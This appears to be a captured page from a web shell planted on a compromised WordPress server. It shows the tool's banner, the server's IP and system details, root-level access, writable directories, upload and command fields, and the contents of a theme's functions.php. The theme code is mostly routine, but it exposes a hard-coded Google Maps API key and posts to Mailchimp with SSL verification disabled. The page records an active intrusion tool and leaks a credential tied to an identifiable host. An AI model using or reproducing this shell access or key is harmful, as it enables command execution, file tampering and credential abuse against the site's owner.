403Webshell
Server IP : 130.225.57.55  /  Your IP : 216.73.216.60
Web Server : Apache
System : Linux wp-vhost07 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /srv/www/reco2st.eu/https/wp-content/themes/erc04961/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/www/reco2st.eu/https/wp-content/themes/erc04961//functions.php
<?php

/**
 * Theme Functions &
 * Functionality
 *
 */
@ini_set( 'upload_max_size', '4M' );
define( 'MOZ_THEME_GOOGLE_MAPS_API_KEY', 'AIzaSyDswORDNJVpEdC2VN3oooBWRQohxgnG1J8' );
require_once('base-theme-functions.php');


/* =========================================
  HOOKED Functions
  ========================================= */

/* * --- Actions ---* */
add_action( 'after_setup_theme', 'theme_setup' );

/**
 * Setup the theme
 *
 * @since 1.0
 */
if ( !function_exists( 'theme_setup' ) ) {

    function theme_setup() {

        // Register navigation menus for theme
        register_nav_menus( array(
            'primary' => 'Main Menu'
        ) );


        // Add Custom Image Sizes
        // add_image_size( 'HeroBG', 1600, 500, true ); // Example Image Size
        // add_image_size( 'Hero', 1300, 630, true ); // Example Image Size
        // add_image_size( 'Square', 980, 980, true ); // Example Image Size
        // add_image_size( 'SquareSmall', 630, 630, true ); // Example Image Size
        // add_image_size( 'Landscape', 892, 630, true ); // Example Image Size
        // add_image_size( 'Portrait', 840, 950, true ); // Example Image Size
        // add_image_size( 'PortraitSlim', 600, 900, true ); // Example Image Size
        // add_image_size( 'PortraitSlimSmall', 450, 900, true ); // Example Image Size
    }

}

/**
 * Register and/or Enqueue
 * Styles for the theme
 *
 * @since 1.0
 */
if ( !function_exists( 'theme_styles' ) ) {

    function theme_styles() {
        //$theme_dir = get_template_directory_uri();
    }

}
add_action( 'wp_enqueue_scripts', 'theme_styles' );

/**
 * Register and/or Enqueue
 * Scripts for the theme
 *
 * @since 1.0
 */
if ( !function_exists( 'theme_scripts' ) ) {

    function theme_scripts() {
        //$theme_dir = get_template_directory_uri();
    }

}
add_action( 'wp_enqueue_scripts', 'theme_scripts' );

/**
 * Attach variables we want
 * to expose to our JS
 *
 * @since 3.12.0
 */
if ( !function_exists( 'theme_scripts_localize' ) ) {

    function theme_scripts_localize() {

    }

}
add_action( 'wp_enqueue_scripts', 'theme_scripts_localize', 20 );



/**
 * Custom Mailchimp form
 *
 */
function mc_subscribe_user() {

    // Put your MailChimp API and List ID hehe
    $api_key = get_field( 'mc_key', 'options' );
    $list_id = get_field( 'mc_list', 'options' );

    // Let's start by including the MailChimp API wrapper
    require_once( 'includes/MailChimp.php' );
    // Then call/use the class

    $MailChimp             = new \DrewM\MailChimp\MailChimp( $api_key );
    $MailChimp->verify_ssl = false;
    // Submit subscriber data to MailChimp
    // For parameters doc, refer to: http://developer.mailchimp.com/documentation/mailchimp/reference/lists/members/
    // For wrapper's doc, visit: https://github.com/drewm/mailchimp-api
    $result = $MailChimp->post( "lists/$list_id/members", [
        'email_address' => $_POST["EMAIL"],
        'status'        => 'subscribed',
    ] );
    switch ( $result['status'] ) {
        case 'subscribed': // ok
            $message = __( 'You have successfully subscribed! Thank you.', 'ysh001' );
            break;
        case 400: // type of error or email exists
            $message =  $result['title'];
            break;
        default:
            $message = __( 'Error. Please try again.', 'ysh001' );
    }

    echo json_encode( [
        'message' => $message,
        'status'  => $result['status']
    ] );

    die();
}
add_action( 'wp_ajax_nopriv_mc_subscribe_user', 'mc_subscribe_user' );
add_action( 'wp_ajax_mc_subscribe_user', 'mc_subscribe_user' );


add_theme_support( 'yoast-seo-breadcrumbs' );

function mozaik_pop_mailchimp_placeholder() {
    return [
        'form'        => [
            'class' => ''
        ],
        'form_holder' => [
            'class' => 'newsletter__holder'
        ],
        'email'       => [
            'label' => [
                'class' => '',
                'text'  => ''
            ],
            'input' => [
                'class'       => 'newsletter__mail',
                'placeholder' => __( 'Enter your email', 'erc001' )
            ]
        ],
        'button'      => [
            'class' => '',
            'text'  => '<span>' . __( '', 'moz_mailchimp' ) . '</span>'
        ]
    ];
}
add_filter( 'moz_newsletter_form_fields', 'mozaik_pop_mailchimp_placeholder' );


// Callback function to filter the MCE settings
if ( ! function_exists( '_filter_mce_theme_format_add_styles' ) ) :
    function _filter_mce_theme_format_add_styles( $init_array ) {
        // Define the style_formats array
        $style_formats = array(
            // Each array child is a format with it's own settings
            array(
                'title'   => esc_html__( '2 in Recost Logo', '' ),
                'inline'   => 'span',
                'classes' => 'fs-recost',
                'wrapper' => true,
            )
        );
        // Insert the array, JSON ENCODED, into 'style_formats'
        $init_array['style_formats'] = json_encode( $style_formats );
        return $init_array;
    }
endif;
add_filter( 'tiny_mce_before_init', '_filter_mce_theme_format_add_styles' );

Youez - 2016 - github.com/yon3zu
LinuXploit